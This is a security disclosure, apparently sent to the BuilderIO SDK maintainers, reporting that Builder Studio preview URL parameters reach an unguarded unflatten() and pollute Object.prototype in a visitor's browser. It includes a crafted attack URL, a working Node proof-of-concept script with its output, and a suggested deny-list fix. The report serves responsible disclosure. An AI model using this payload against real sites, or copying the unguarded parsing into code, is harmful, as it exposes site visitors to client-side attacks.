Reflected client-side prototype pollution via Builder Studio preview URL parameter
reported via email on 5 July 2026:
Hi team,
packages/sdks/src/functions/get-content/generate-content-url.ts reads
builder.userAttributes.* query parameters from the page URL whenever the URL contains
builder.preview=BUILDER_STUDIO, and passes them through unflatten()
(packages/sdks/src/helpers/flatten.ts) without validating the key path.
const queryOptionsForUserAttributes = getUserAttributesFromQueryOptions(queryOptions);
const { userAttributes } = unflatten(queryOptionsForUserAttributes);unflatten() has no __proto__/prototype/constructor guard, so a URL such as:
https://victim-site.example/some-page?builder.preview=BUILDER_STUDIO&builder.userAttributes.__proto__.polluted=PWNED_CLIENT_SIDEpollutes Object.prototype in the visitor's browser tab as soon as the SDK builds its next
content-fetch URL, requiring no Builder.io account and only a single click on the crafted link.
We confirmed this live against the unmodified source at commit
27e443e125c8e7f619335403cc0ecb01e03197a0. Simulating that URL and calling
generateContentUrl():
- Before:
({}).polluted === undefined - After:
({}).polluted === 'PWNED_CLIENT_SIDE', on a brand-new, unrelated object in the same browser context.
PoC
Environment: cloned repo at commit 27e443e125c8e7f619335403cc0ecb01e03197a0, Node.js v22.12.0,
npx tsx, faking window/document before import (the standard way to exercise isomorphic
browser-only SDK code from Node, no repo files modified):
(globalThis as any).document = {};
(globalThis as any).window = {
location: {
search: '?builder.preview=BUILDER_STUDIO&builder.userAttributes.__proto__.polluted=PWNED_CLIENT_SIDE',
pathname: '/some-page',
host: 'victim-site.example',
},
};
import { generateContentUrl } from '<repo>/packages/sdks/src/functions/get-content/generate-content-url.ts';
console.log('before:', ({} as any).polluted);
const url = generateContentUrl({ apiKey: 'demo-api-key', model: 'page' } as any);
console.log('url:', url.toString());
console.log('after:', ({} as any).polluted);Actual observed output:
=== Reflected client-side prototype pollution via URL query string ===
Simulated victim URL: https://victim-site.example/some-page?builder.preview=BUILDER_STUDIO&builder.userAttributes.__proto__.polluted=PWNED_CLIENT_SIDE
Host (browser-tab) Object.prototype BEFORE:
({}).polluted = undefined
generateContentUrl() returned (normal Content API request URL):
https://cdn.builder.io/api/v3/content/page?apiKey=demo-api-key&limit=30&noTraverse=true&includeRefs=true&omit=meta.componentsUsed&preview=BUILDER_STUDIO&polluted=PWNED_CLIENT_SIDE&userAttributes=%7B%22urlPath%22%3A%22%2Fsome-page%22%2C%22host%22%3A%22victim-site.example%22%7D
Host (browser-tab) Object.prototype AFTER:
({}).polluted = PWNED_CLIENT_SIDE
*** CONFIRMED LIVE: visiting a crafted URL polluted Object.prototype in the visitor's own browser tab ***(full script available upon request)
This is the same bug class as a separate, more severe issue we are reporting in
packages/sdks/src/functions/set.ts (server-side, via content block bindings), and the fix is
the same: the older Gen1 SDK's packages/core/src/classes/query-string.class.ts already has a
PROPERTY_NAME_DENY_LIST = ['__proto__', 'prototype', 'constructor'] guard for the equivalent
dotted-path parsing; the same check should be added to unflatten() in
packages/sdks/src/helpers/flatten.ts.
Source: BuilderIO/builder